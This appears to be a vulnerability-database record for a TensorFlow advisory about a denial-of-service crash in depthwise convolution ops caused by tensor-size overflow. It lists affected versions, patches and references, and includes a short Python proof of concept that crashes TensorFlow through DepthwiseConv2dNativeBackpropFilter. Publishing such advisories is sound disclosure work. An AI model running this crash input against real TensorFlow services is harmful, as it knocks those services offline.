`CHECK` failure in depthwise ops via overflows
Key facts
- Attack vector
- —
- Privileges required
- —
- User interaction
- —
- Attack complexity
- —
- Impact type
- —
- Confidentiality · integrity · availability
- —
- Fix status
- Fixed
No CVSS vector from any source. Fix status from GitHub.
Summary
### Impact The implementation of depthwise ops in TensorFlow is vulnerable to a denial of service via `CHECK`-failure (assertion failure) caused by overflowing the number of elements in a tensor: ```python import tensorflow as tf input = tf.constant(1, shape=[1, 4, 4, 3], dtype=tf.float32) filter_sizes = tf.constant(1879048192, shape=[13], dtype=tf.int32) out_backprop = tf.constant(1, shape=[1, 4, 4, 3], dtype=tf.float32) tf.raw_ops.DepthwiseConv2dNativeBackpropFilter( input=input, filter_sizes=filter_sizes, out_backprop=out_backprop, strides=[1, 1, 1, 1], padding="SAME") ``` This is another instance of [TFSA-2021-198](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/security/advisory/tfsa-2021-198.md) (CVE-2021-41197). ### Patches We have patched the issue in GitHub commit [3796cc4fcd93ae55812a457abc96dcd55fbb854b](https://github.com/tensorflow/tensorflow/commit/3796cc4fcd93ae55812a457abc96dcd55fbb854b). The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | tensorflow (PyPI) | before 2.6.4 | 2.6.4 | Patch available | GHSA-mw6j-hh29-h379 |
| — | tensorflow (PyPI) | 2.7.0 to before 2.7.2 | 2.7.2 | Patch available | GHSA-mw6j-hh29-h379 |
| — | tensorflow (PyPI) | 2.8.0 to before 2.8.1 | 2.8.1 | Patch available | GHSA-mw6j-hh29-h379 |
| — | tensorflow-cpu (PyPI) | before 2.6.4 | 2.6.4 | Patch available | GHSA-mw6j-hh29-h379 |
| — | tensorflow-cpu (PyPI) | 2.7.0 to before 2.7.2 | 2.7.2 | Patch available | GHSA-mw6j-hh29-h379 |
| — | tensorflow-cpu (PyPI) | 2.8.0 to before 2.8.1 | 2.8.1 | Patch available | GHSA-mw6j-hh29-h379 |
| — | tensorflow-gpu (PyPI) | before 2.6.4 | 2.6.4 | Patch available | GHSA-mw6j-hh29-h379 |
| — | tensorflow-gpu (PyPI) | 2.7.0 to before 2.7.2 | 2.7.2 | Patch available | GHSA-mw6j-hh29-h379 |
| — | tensorflow-gpu (PyPI) | 2.8.0 to before 2.8.1 | 2.8.1 | Patch available | GHSA-mw6j-hh29-h379 |
- tensorflow (PyPI) Vendor— Affected before 2.6.4 Fixed in 2.6.4 Patch available GHSA-mw6j-hh29-h379
- tensorflow (PyPI) Vendor— Affected 2.7.0 to before 2.7.2 Fixed in 2.7.2 Patch available GHSA-mw6j-hh29-h379
- tensorflow (PyPI) Vendor— Affected 2.8.0 to before 2.8.1 Fixed in 2.8.1 Patch available GHSA-mw6j-hh29-h379
- tensorflow-cpu (PyPI) Vendor— Affected before 2.6.4 Fixed in 2.6.4 Patch available GHSA-mw6j-hh29-h379
- tensorflow-cpu (PyPI) Vendor— Affected 2.7.0 to before 2.7.2 Fixed in 2.7.2 Patch available GHSA-mw6j-hh29-h379
- tensorflow-cpu (PyPI) Vendor— Affected 2.8.0 to before 2.8.1 Fixed in 2.8.1 Patch available GHSA-mw6j-hh29-h379
- tensorflow-gpu (PyPI) Vendor— Affected before 2.6.4 Fixed in 2.6.4 Patch available GHSA-mw6j-hh29-h379
- tensorflow-gpu (PyPI) Vendor— Affected 2.7.0 to before 2.7.2 Fixed in 2.7.2 Patch available GHSA-mw6j-hh29-h379
- tensorflow-gpu (PyPI) Vendor— Affected 2.8.0 to before 2.8.1 Fixed in 2.8.1 Patch available GHSA-mw6j-hh29-h379
Remediation
- Fix · GHSA-mw6j-hh29-h379 tensorflow (PyPI) Fixed in 2.6.4 Advisory →
- Fix · GHSA-mw6j-hh29-h379 tensorflow (PyPI) Fixed in 2.7.2 Advisory →
- Fix · GHSA-mw6j-hh29-h379 tensorflow (PyPI) Fixed in 2.8.1 Advisory →
- Fix · GHSA-mw6j-hh29-h379 tensorflow-cpu (PyPI) Fixed in 2.6.4 Advisory →
- Fix · GHSA-mw6j-hh29-h379 tensorflow-cpu (PyPI) Fixed in 2.7.2 Advisory →
- Fix · GHSA-mw6j-hh29-h379 tensorflow-cpu (PyPI) Fixed in 2.8.1 Advisory →
- Fix · GHSA-mw6j-hh29-h379 tensorflow-gpu (PyPI) Fixed in 2.6.4 Advisory →
- Fix · GHSA-mw6j-hh29-h379 tensorflow-gpu (PyPI) Fixed in 2.7.2 Advisory →
- Fix · GHSA-mw6j-hh29-h379 tensorflow-gpu (PyPI) Fixed in 2.8.1 Advisory →
Timeline
- 2026-10-03 Threatist record created from GHSA-mw6j-hh29-h379
References
Other 4
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-mw6j-hh29-h379
- https://github.com/tensorflow/tensorflow/commit/3796cc4fcd93ae55812a457abc96dcd55fbb854b
- https://github.com/tensorflow/tensorflow
- https://github.com/tensorflow/tensorflow/blob/master/tensorflow/security/advisory/tfsa-2021-198.md
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences